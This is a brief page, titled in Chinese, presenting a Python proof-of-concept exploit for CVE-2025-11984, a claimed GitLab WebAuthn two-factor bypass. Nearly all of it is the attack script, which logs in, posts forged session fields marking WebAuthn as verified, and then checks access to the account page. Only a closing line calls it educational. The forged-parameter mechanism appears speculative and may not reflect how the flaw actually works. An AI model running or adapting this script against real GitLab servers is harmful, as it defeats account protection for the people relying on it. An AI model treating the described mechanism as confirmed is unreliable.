CVE-2025-11984: GitLab WebAuthn双因素认证绕过漏洞

# CVE-2025-11984 PoC - GitLab WebAuthn Bypass via Session State Manipulation # This PoC demonstrates the concept of session state manipulation to bypass WebAuthn 2FA import requests import json import base64 from urllib.parse import urljoin class GitLabWebAuthnBypass: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def authenticate(self): """Step 1: Perform initial authentication to obtain session""" login_url = f"{self.target_url}/users/sign_in" response = self.session.get(login_url) # Extract authenticity token from login page authenticity_token = self._extract_token(response.text) login_data = { 'authenticity_token': authenticity_token, 'user[login]': self.username, 'user[password]': self.password, 'user[remember_me]': '0' } response = self.session.post(login_url, data=login_data, allow_redirects=True) return response.status_code == 200 def _extract_token(self, html_content): """Extract CSRF token from HTML content""" import re match = re.search(r'name="authenticity_token" value="([^"]+)"', html_content) return match.group(1) if match else None def manipulate_session_state(self): """Step 2: Manipulate session state to bypass WebAuthn verification""" # Target endpoint for WebAuthn challenge webauthn_challenge_url = f"{self.target_url}/-/two_factor_auth/webauthn" # Malicious session state manipulation payload # This modifies the session to indicate WebAuthn is already verified manipulation_payload = { 'user[webauthn_verified]': 'true', 'user[two_factor_verified]': 'true', 'session[webauthn_challenge_completed]': 'true', 'authenticity_token': self._get_fresh_token() } # Send manipulated request to bypass WebAuthn response = self.session.post(webauthn_challenge_url, data=manipulation_payload) return response def _get_fresh_token(self): """Get fresh CSRF token from current session""" response = self.session.get(f"{self.target_url}/-/two_factor_auth/webauthn") return self._extract_token(response.text) def verify_bypass(self): """Step 3: Verify successful bypass by accessing protected resource""" protected_url = f"{self.target_url}/-/profile/account" response = self.session.get(protected_url) # Check if access is granted without 2FA prompt if response.status_code == 200 and 'password' not in response.text.lower(): return True return False def exploit(self): """Execute the full attack chain""" print(f"[*] Targeting: {self.target_url}") print(f"[*] Authenticating as: {self.username}") # Step 1: Initial authentication if not self.authenticate(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Session state manipulation print("[*] Attempting WebAuthn bypass via session manipulation...") self.manipulate_session_state() print("[+] Session state manipulation attempted") # Step 3: Verification if self.verify_bypass(): print("[!] WebAuthn bypass successful - 2FA protection circumvented!") return True else: print("[-] Bypass attempt failed - target may be patched or different conditions required") return False # Usage example if __name__ == "__main__": target = "https://gitlab.example.com" username = "[email protected]" password = "password123" exploit = GitLabWebAuthnBypass(target, username, password) exploit.exploit() # Note: This PoC is for educational and authorized testing purposes only. # Unauthorized access to computer systems is illegal.